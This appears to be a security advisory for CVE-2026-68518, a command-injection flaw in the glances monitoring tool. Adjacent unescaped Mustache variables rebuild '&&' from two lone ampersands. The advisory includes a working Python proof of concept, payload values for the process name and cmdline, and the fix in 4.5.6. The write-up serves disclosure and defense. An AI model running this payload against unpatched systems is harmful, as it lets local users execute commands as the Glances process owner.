highCVE-2026-68518Aug 17, 2026

CVE-2026-68518: glances Action-Template Sanitizer Bypass via Cross-Field Shell-Operator Reconstruction

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A local unprivileged user can run arbitrary commands as the Glances process owner by naming a process so that a single ampersand at the end of one Mustache template variable and a single ampersand at…

Packageglances
Ecosystempip
Affected<= 4.5.5
Fixed in4.5.6
CVE-2026-68518: glances Action-Template Sanitizer Bypass via Cross-Field Shell-Operator Reconstruction

The problem

Glances lets admins configure shell-command templates that fire when a monitoring threshold is crossed. Those templates are filled with live stat fields such as process name and command line, fields a local user fully controls by naming a process.

The sanitizer in glances/actions.py strips &&, |, >>, and > from each template variable individually before rendering. It never touches a lone &. When an action template places two unescaped Mustache variables side-by-side ({{{name}}}{{{cmdline}}}) and the attacker makes the first value end with & and the second begin with & <cmd>, Chevron concatenates them into a literal && in the rendered command string, which secure_popen() then splits and executes.

Proof of concept

A working proof-of-concept for CVE-2026-68518 in glances, with the exact payload below.

python
# glances.conf action template (admin-configured, unescaped adjacent variables)
# critical_action=logger p={{{name}}}{{{cmdline}}}

# Attacker controls process name and cmdline (e.g. via /proc or container name):
# name    = "evilproc&"
# cmdline = "& touch /tmp/glances_crossfield_pwned"
#
# After _sanitize_mustache_dict(): each value keeps its lone '&' (not in blocklist).
# After chevron.render():  cmd_full = "logger p=evilproc&& touch /tmp/glances_crossfield_pwned"
# secure_popen() splits on '&&' and executes: touch /tmp/glances_crossfield_pwned

# End-to-end PoC (repro.py) against glances==4.5.5
import os, sys, time
sys.argv = ['glances']
from glances.actions import GlancesActions

MARK = "/tmp/glances_crossfield_pwned"
try: os.remove(MARK)
except FileNotFoundError: pass

class Args:
    time = 0
ga = GlancesActions(args=Args())

item = {
    'name': 'evilproc&',
    'cmdline': '& touch %s' % MARK,
    'pid': 1337,
    'cpu_percent': 99.0,
    'key': 'pid'
}

ga.status.clear()
ga.start_timer._start = time.time() - 999
ga.run("pl2", "CRITICAL",
       ["logger p={{{name}}}{{{cmdline}}}"],
       repeat=True, mustache_dict=item)
time.sleep(0.5)
print("INJECTED" if os.path.exists(MARK) else "blocked")

The root cause is that _sanitize_mustache_dict() sanitizes each template value in isolation before rendering, so a lone & in any value passes the filter untouched. Chevron's unescaped triple-brace syntax ({{{ }}}) emits values verbatim (no HTML entity encoding), so a trailing & from field A and a leading & from field B are literally concatenated into && in the final command string. secure_popen() then splits that string on && and spawns each segment as a separate subprocess.Popen(shell=False) call, giving the attacker arbitrary execution.

The same split-character trick applies to > (split across two fields as > + > reconstructs >>) and to |. Standard double-brace {{ }} templates are not affected because Chevron HTML-encodes & to &amp;, which secure_popen() does not interpret as an operator.

The CWE is CWE-78 (Improper Neutralization of Special Elements used in an OS Command). The fix in 4.5.6 extends the per-field blocklist to include lone &, |, >, and <, so no operator character survives on either side of a variable boundary.

The fix

Upgrade to **glances 4.5.6**. The patch (commit 9c280eae) extends _sanitize_mustache_dict() to replace lone &, |, >, and < with spaces in every template value, removing the individual characters that could be reconstructed into operators across adjacent variable boundaries.

If immediate upgrade is not possible, avoid action templates that place two unescaped ({{{ }}} or {{& }}) Mustache variables directly adjacent with no separator character between them.

Reported by tonghuaroot.

References: [1][2][3][4]

Related research